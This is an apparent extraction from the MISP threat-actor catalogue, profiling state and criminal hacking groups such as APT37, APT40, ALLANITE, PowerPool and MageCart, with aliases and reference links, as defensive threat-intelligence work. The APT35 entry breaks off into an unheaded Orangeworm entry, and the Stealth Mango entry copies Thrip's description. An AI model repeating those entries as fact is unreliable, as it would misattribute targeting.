- Static Kitten
- Seedworm
- MERCURY
- COBALT ULSTER
- G0069
- ATK51
- Boggy Serpens

MuddyWater has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="MuddyWater - G0069" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Mango Sandstorm" with estimative-language:likelihood-probability="likely"
MoneyTaker

In less than two years, this group has conducted over 20 successful attacks on financial institutions and legal firms in the USA, UK and Russia. The group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide usage of STAR in LATAM, financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group.

The tag is: misp-galaxy:threat-actor="MoneyTaker"
Dark Caracal

Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.

The tag is: `misp-galaxy:threat-actor="Dark Caracal"`

Dark Caracal is also known as:

- G0070

<table>
<thead>
<tr>
<th>Table 11240. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf">https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/bandook-signed-delivered">https://research.checkpoint.com/2020/bandook-signed-delivered</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0070/">https://attack.mitre.org/groups/G0070/</a></td>
</tr>
</tbody>
</table>

Nexus Zeta

Nexus Zeta is no stranger when it comes to implementing SOAP related exploits. The threat actor has already been observed in implementing two other known SOAP related exploits, CVE-2014–8361 and CVE-2017–17215 in his Satori botnet project. A third SOAP exploit, TR-069 bug has also been observed previously in IoT botnets. This makes EDB 38722 the fourth SOAP related exploit which is discovered in the wild by IoT botnets.

The tag is: `misp-galaxy:threat-actor="Nexus Zeta"`

<table>
<thead>
<tr>
<th>Table 11241. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

APT37

APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities.

The tag is: `misp-galaxy:threat-actor="APT37"`

APT37 is also known as:
• APT 37
• Group 123
• Group123
• InkySquid
• Operation Daybreak
• Operation Erebus
• Reaper Group
• Reaper
• Red Eyes
• Ricochet Chollima
• ScarCruft
• Venus 121
• ATK4
• G0067
• Moldy Pisces

View relationships graph

APT37 has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="APT37 - G0067" with estimative-language:likelihood-probability="likely"

• linked-to: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:360net-threat-actor="ScarCruft - APT-C-28" with estimative-language:likelihood-probability="likely"

Table 11242. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/mstoned7/status/966126706107953152">https://twitter.com/mstoned7/status/966126706107953152</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/apt-37">https://www.cfr.org/interactive/cyber-operations/apt-37</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-freemilk-highly-targeted-spear-phishing-campaign/">https://unit42.paloaltonetworks.com/unit42-freemilk-highly-targeted-spear-phishing-campaign/</a></td>
</tr>
</tbody>
</table>
APT40

Leviathan is an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe.

The tag is: misp-galaxy:threat-actor="APT40"

APT40 is also known as:

- TEMP.Periscope
- TEMP.Jumper
- Leviathan
- BRONZE MOHAWK
- GADOLINIUM
- KRYPTONITE PANDA
- G0065
- ATK29
- TA423
- Red Ladon
- ITG09
- MUDCARP
- ISLANDDREAMS

View relationships graph

APT40 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Leviathan - G0065" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="GADOLINIUM" with estimative-language:likelihood-probability="likely"
Table 11243. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/apt-40">https://www.cfr.org/interactive/cyber-operations/apt-40</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html">https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/">https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0065/">https://attack.mitre.org/groups/G0065/</a></td>
</tr>
<tr>
<td><a href="https://intrusiontruth.wordpress.com/2020/01/09/what-is-the-hainan-xiandun-technology-development-company">https://intrusiontruth.wordpress.com/2020/01/09/what-is-the-hainan-xiandun-technology-development-company</a></td>
</tr>
<tr>
<td><a href="https://intrusiontruth.wordpress.com/2020/01/10/who-is-mr-gu">https://intrusiontruth.wordpress.com/2020/01/10/who-is-mr-gu</a></td>
</tr>
<tr>
<td><a href="https://intrusiontruth.wordpress.com/2020/01/13/who-else-works-for-this-cover-company-network">https://intrusiontruth.wordpress.com/2020/01/13/who-else-works-for-this-cover-company-network</a></td>
</tr>
<tr>
<td><a href="https://intrusiontruth.wordpress.com/2020/01/14/who-is-mr-ding">https://intrusiontruth.wordpress.com/2020/01/14/who-is-mr-ding</a></td>
</tr>
<tr>
<td><a href="https://intrusiontruth.wordpress.com/2020/01/15/hainan-xiandun-technology-company-is-apt40">https://intrusiontruth.wordpress.com/2020/01/15/hainan-xiandun-technology-company-is-apt40</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-mohawk">https://www.secureworks.com/research/threat-profiles/bronze-mohawk</a></td>
</tr>
<tr>
<td><a href="https://www.mycert.org.my/portal/advisory?id=MA-774.022020">https://www.mycert.org.my/portal/advisory?id=MA-774.022020</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign">https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-200a">https://us-cert.cisa.gov/ncas/alerts/aa21-200a</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-200b">https://us-cert.cisa.gov/ncas/alerts/aa21-200b</a></td>
</tr>
</tbody>
</table>
APT35

FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.

The tag is: misp-galaxy:threat-actor="APT35"

APT35 is also known as:

- Newscaster Team
- Magic Hound
- G0059
- Phosphorus
- Mint Sandstorm
- TunnelVision
- COBALT MIRAGE

View relationships graph

APT35 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-
Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia. First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.

The tag is: `misp-galaxy:threat-actor="Orangeworm"`
**ALLANITE**

Adversaries abusing ICS (based on Dragos Inc adversary list). ALLANITE accesses business and industrial control (ICS) networks, conducts reconnaissance, and gathers intelligence in United States and United Kingdom electric utility sectors. Dragos assesses with moderate confidence that ALLANITE operators continue to maintain ICS network access to: (1) understand the operational environment necessary to develop disruptive capabilities, (2) have ready access from which to disrupt electric utilities. ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks, including collecting and distributing screenshots of industrial control systems. ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities. ALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system.

The tag is: *misp-galaxy:threat-actor="ALLANITE"*

ALLANITE is also known as:

- Palmetto Fusion
- Allanite

View relationships graph

ALLANITE has relationships with:

- similar: *misp-galaxy:mitre-ics-groups="ALLANITE"* with *estimative-language:likelihood-probability="almost-certain"*

Table 11246. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dragos.com/adversaries.html">https://dragos.com/adversaries.html</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/20180510Allanite.html">https://dragos.com/blog/20180510Allanite.html</a></td>
</tr>
</tbody>
</table>

**CHRYSENE**

Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor targets organizations involved in oil, gas, and electricity production, primarily in the Gulf region, for espionage purposes. According to one cybersecurity company, the threat actor “compromises a target machine and passes it off to another threat actor for further exploitation.”

The tag is: *misp-galaxy:threat-actor="CHRYSENE"*

CHRYSENE is also known as:

- OilRig
- Greenbug

View relationships graph

7052
CHRYSENE has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Greenbug" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Hazel Sandstorm" with estimative-language:likelihood-probability="likely"

**Table 11247. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dragos.com/adversaries.html">https://dragos.com/adversaries.html</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/chrysene">https://www.cfr.org/interactive/cyber-operations/chrysene</a></td>
</tr>
</tbody>
</table>

**ZooPark**

ZooPark is a cyberespionage operation that has been focusing on Middle Eastern targets since at least June 2015. The threat actors behind ZooPark infect Android devices using several generations of malware we label from v1-v4, with v4 being the most recent version deployed in 2017.

The tag is: misp-galaxy:threat-actor="ZooPark"

**Table 11248. Table References**
RANCOR

The Rancor group’s attacks use two primary malware families which are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers' toolkit. Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to Singapore and Cambodia.

The tag is: misp-galaxy:threat-actor="RANCOR"

RANCOR is also known as:

- Rancor group
- Rancor
- Rancor Group
- G0075
- Rancor Taurus

Table 11249. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/">https://unit42.paloaltonetworks.com/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/rancor">https://www.cfr.org/interactive/cyber-operations/rancor</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0075/">https://attack.mitre.org/groups/G0075/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/rancortaurus/">https://unit42.paloaltonetworks.com/atoms/rancortaurus/</a></td>
</tr>
</tbody>
</table>

The Big Bang

While it is not clear exactly what the attacker is looking for, what is clear is that once he finds it, a second stage of the attack awaits, fetching additional modules and/or malware from the Command and Control server. This then is a surveillance attack in progress and has been dubbed ‘Big Bang’ due to the attacker’s fondness for the ‘Big Bang Theory’ TV show, after which some of the malware’s modules are named.

The tag is: misp-galaxy:threat-actor="The Big Bang"

Table 11250. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.checkpoint.com/apt-attack-middle-east-big-bang/">https://research.checkpoint.com/apt-attack-middle-east-big-bang/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2017/06/palestine-delphi.html">https://blog.talosintelligence.com/2017/06/palestine-delphi.html</a></td>
</tr>
</tbody>
</table>
The Gorgon Group

Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.

The tag is: misp-galaxy:threat-actor="The Gorgon Group"

The Gorgon Group is also known as:

- Gorgon Group
- Subaat
- ATK92
- G0078
- Pasty Gemini

Table 11251. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/">https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/">https://unit42.paloaltonetworks.com/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/">https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0078/">https://attack.mitre.org/groups/G0078/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/pastygemini/">https://unit42.paloaltonetworks.com/atoms/pastygemini/</a></td>
</tr>
</tbody>
</table>

DarkHydrus

In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).

The tag is: misp-galaxy:threat-actor="DarkHydrus"

DarkHydrus is also known as:

- LazyMeerkat
• G0079
• Obscure Serpens

Table 11252. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mobile.twitter.com/360TIC/status/1083289987339042817">https://mobile.twitter.com/360TIC/status/1083289987339042817</a></td>
</tr>
<tr>
<td><a href="https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/">https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/">https://unit42.paloaltonetworks.com/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/">https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0079/">https://attack.mitre.org/groups/G0079/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/obscureserpens/">https://unit42.paloaltonetworks.com/atoms/obscureserpens/</a></td>
</tr>
</tbody>
</table>

RedAlpha

Recorded Future’s Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.

The tag is: `misp-galaxy:threat-actor="RedAlpha"`

RedAlpha is also known as:

• DeepCliff
• Red Dev 3

Table 11253. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.recordedfuture.com/chinese-cyberespionage-operations">https://www.recordedfuture.com/chinese-cyberespionage-operations</a></td>
</tr>
</tbody>
</table>

TempTick

This threat actor targets organizations in the finance, defense, aerospace, technology, health-care,
and automotive sectors and media organizations in East Asia for the purpose of espionage. Believed to be responsible for the targeting of South Korean actors prior to the meeting of Donald J. Trump and Kim Jong-un

The tag is: *misp-galaxy:threat-actor="TempTick"*

**Table 11254. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/temptick">https://www.cfr.org/interactive/cyber-operations/temptick</a></td>
<td></td>
</tr>
</tbody>
</table>

**Operation Parliament**

This threat actor uses spear-phishing techniques to target parliaments, government ministries, academics, and media organizations, primarily in the Middle East, for the purpose of espionage. Based on our findings, we believe the attackers represent a previously unknown geopolitically motivated threat actor. The campaign started in 2017, with the attackers doing just enough to achieve their goals. They most likely have access to additional tools when needed and appear to have access to an elaborate database of contacts in sensitive organizations and personnel worldwide, especially of vulnerable and non-trained staff. The victim systems range from personal desktop or laptop systems to large servers with domain controller roles or similar. The nature of the targeted ministries varied, including those responsible for telecommunications, health, energy, justice, finance and so on. Operation Parliament appears to be another symptom of escalating tensions in the Middle East region. The attackers have taken great care to stay under the radar, imitating another attack group in the region. They have been particularly careful to verify victim devices before proceeding with the infection, safeguarding their command and control servers. The targeting seems to have slowed down since the beginning of 2018, probably winding down when the desired data or access was obtained. The targeting of specific victims is unlike previously seen behavior in regional campaigns by Gaza Cybergang or Desert Falcons and points to an elaborate information-gathering exercise that was carried out before the attacks (physical and/or digital). With deception and false flags increasingly being employed by threat actors, attribution is a hard and complicated task that requires solid evidence, especially in complex regions such as the Middle East.

The tag is: *misp-galaxy:threat-actor="Operation Parliament"*

**Table 11255. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/operation-parliament">https://www.cfr.org/interactive/cyber-operations/operation-parliament</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-parliament-who-is-doing-what/85237/">https://securelist.com/operation-parliament-who-is-doing-what/85237/</a></td>
<td></td>
</tr>
</tbody>
</table>

**Inception Framework**

This threat actor uses spear-phishing techniques to target private-sector energy, defense, aerospace, research, and media organizations and embassies in Africa, Europe, and the Middle East, for the
The purpose of espionage.

The tag is: `misp-galaxy:threat-actor="Inception Framework"`

Inception Framework is also known as:

- Clean Ursa
- Cloud Atlas
- OXYGEN
- G0100
- ATK116
- Blue Odin

**Table 11256. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/inception-framework">https://www.cfr.org/interactive/cyber-operations/inception-framework</a></td>
</tr>
<tr>
<td><a href="https://logrhythm.com/blog/catching-the-inception-framework-phishing-attack">https://logrhythm.com/blog/catching-the-inception-framework-phishing-attack</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-red-october-campaign/57647">https://securelist.com/the-red-october-campaign/57647</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/red-october-diplomatic-cyber-attacks-investigation/36740">https://securelist.com/red-october-diplomatic-cyber-attacks-investigation/36740</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/red-october-part-two-the-modules/57645">https://securelist.com/red-october-part-two-the-modules/57645</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083">https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability">https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/recent-cloud-atlas-activity/92016">https://securelist.com/recent-cloud-atlas-activity/92016</a></td>
</tr>
</tbody>
</table>
HenBox

This threat actor targets Uighurs—a minority ethnic group located primarily in northwestern China—and devices from Chinese mobile phone manufacturer Xiaomi, for espionage purposes.

The tag is: `misp-galaxy:threat-actor="HenBox"`

**Table 11257. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/henbox">https://www.cfr.org/interactive/cyber-operations/henbox</a></td>
</tr>
</tbody>
</table>

MUSTANG PANDA

This threat actor targets nongovernmental organizations using Mongolian-themed lures for espionage purposes. In April 2017, CrowdStrike Falcon Intelligence observed a previously unattributed actor group with a Chinese nexus targeting a U.S.-based think tank. Further analysis revealed a wider campaign with unique tactics, techniques, and procedures (TTPs). This adversary targets non-governmental organizations (NGOs) in general, but uses Mongolian language decoys and themes, suggesting this actor has a specific focus on gathering intelligence on Mongolia. These campaigns involve the use of shared malware like Poison Ivy or PlugX. Recently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files.

The tag is: `misp-galaxy:threat-actor="MUSTANG PANDA"`

MUSTANG PANDA is also known as:

- BRONZE PRESIDENT
- HoneyMyte
- Red Lich
- TEMP.HEX
- BASIN
- Earth Preta

**Table 11258. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Thrip

This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.

The tag is: `misp-galaxy:threat-actor="Thrip"`

Thrip is also known as:

- G0076
- ATK78

Table 11259. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/thrip">https://www.cfr.org/interactive/cyber-operations/thrip</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets">https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0076/">https://attack.mitre.org/groups/G0076/</a></td>
</tr>
</tbody>
</table>

Stealth Mango and Tangelo

This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.

The tag is: `misp-galaxy:threat-actor="Stealth Mango and Tangelo"`
PowerPool

Malware developers have started to use the zero-day exploit for Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online.

A security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler.

More specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user's permissions, allowing write privileges on files in C:\Windows\Task.

The vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level.

A couple of days after the exploit code became available (source and binary), malware researchers at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement.

The group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine.

The researchers say that PowerPool developers did not use the binary version of the exploit, deciding instead to make some subtle changes to the source code before recompiling it.

The tag is: *misp-galaxy:threat-actor="PowerPool"

PowerPool is also known as:

- IAmTheKing

Bahamut

Bahamut is a threat actor primarily operating in Middle East and Central Asia, suspected to be a private contractor to several state sponsored actors. They were observed conduct phishing as well as desktop and mobile malware campaigns.
Iron Group

Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.

The tag is: misp-galaxy:threat-actor="Iron Group"

Iron Group is also known as:

• Iron Cyber Group

Operation BugDrop

This threat actor targets critical infrastructure entities in the oil and gas sector, primarily in Ukraine. The threat actors deploy the BugDrop malware to remotely access the microphones in their targets' computers to eavesdrop on conversations.

The tag is: misp-galaxy:threat-actor="Operation BugDrop"

Unnamed Actor

This threat actor compromises civil society groups the Chinese Communist Party views as hostile to its interests, such as Tibetan, Uyghur, Hong Kong, and Taiwanese activist. The threat actor also targeted the Myanmar electoral commission.

The tag is: misp-galaxy:threat-actor="Unnamed Actor"
**MageCart**

Digital threat management company RiskIQ tracks the activity of MageCart group and reported their use of web-based card skimmers since 2016.

The tag is: `misp-galaxy:threat-actor="MageCart"`

**Table 11266. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Domestic Kitten**

An extensive surveillance operation targets specific groups of individuals with malicious mobile apps that collect sensitive information on the device along with surrounding voice recordings. Researchers with CheckPoint discovered the attack and named it Domestic Kitten. The targets are Kurdish and Turkish natives, and ISIS supporters, all Iranian citizens.

The tag is: `misp-galaxy:threat-actor="Domestic Kitten"`

**Table 11267. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**FASTCash**

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed
malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: *misp-galaxy:threat-actor="FASTCash"

**Roaming Mantis**

According to new research by Kaspersky’s GReAT team, the online criminal activities of the Roaming Mantis Group have continued to evolve since they were first discovered in April 2018. As part of their activities, this group hacks into exploitable routers and changes their DNS configuration. This allows the attackers to redirect the router user’s traffic to malicious Android apps disguised as Facebook and Chrome or to Apple phishing pages that were used to steal Apple ID credentials. Recently, Kaspersky has discovered that this group is testing a new monetization scheme by redirecting iOS users to pages that contain the Coinhive in-browser mining script rather than the normal Apple phishing page. When users are redirected to these pages, they will be shown a blank page in the browser, but their CPU utilization will jump to 90% or higher.

The tag is: *misp-galaxy:threat-actor="Roaming Mantis"

Roaming Mantis is also known as:

- Roaming Mantis Group

*Table 11268. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**GreyEnergy**

ESET research reveals a successor to the infamous BlackEnergy APT group targeting critical infrastructure, quite possibly in preparation for damaging attacks.

The tag is: *misp-galaxy:threat-actor="GreyEnergy"

View relationships graph

GreyEnergy has relationships with:

- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"

*Table 11269. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.eset.com/int/greyenergy-exposed/">https://www.eset.com/int/greyenergy-exposed/</a></td>
<td></td>
</tr>
</tbody>
</table>
The Shadow Brokers

The Shadow Brokers (TSB) is a hacker group who first appeared in the summer of 2016. They published several leaks containing hacking tools from the National Security Agency (NSA, including several zero-day exploits.[1] Specifically, these exploits and vulnerabilities targeted enterprise firewalls, antivirus software, and Microsoft products. The Shadow Brokers originally attributed the leaks to the Equation Group threat actor, who have been tied to the NSA's Tailored Access Operations unit.

The tag is: misp-galaxy:threat-actor="The Shadow Brokers"

The Shadow Brokers is also known as:

- The ShadowBrokers
- TSB
- Shadow Brokers
- ShadowBrokers

Table 11270. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/The_Shadow_Brokers">https://en.wikipedia.org/wiki/The_Shadow_Brokers</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/darkpulsar/88199/">https://securelist.com/darkpulsar/88199/</a></td>
</tr>
<tr>
<td><a href="https://musalbas.com/blog/2016/08/16/equation-group-firewall-operations-catalogue.html">https://musalbas.com/blog/2016/08/16/equation-group-firewall-operations-catalogue.html</a></td>
</tr>
<tr>
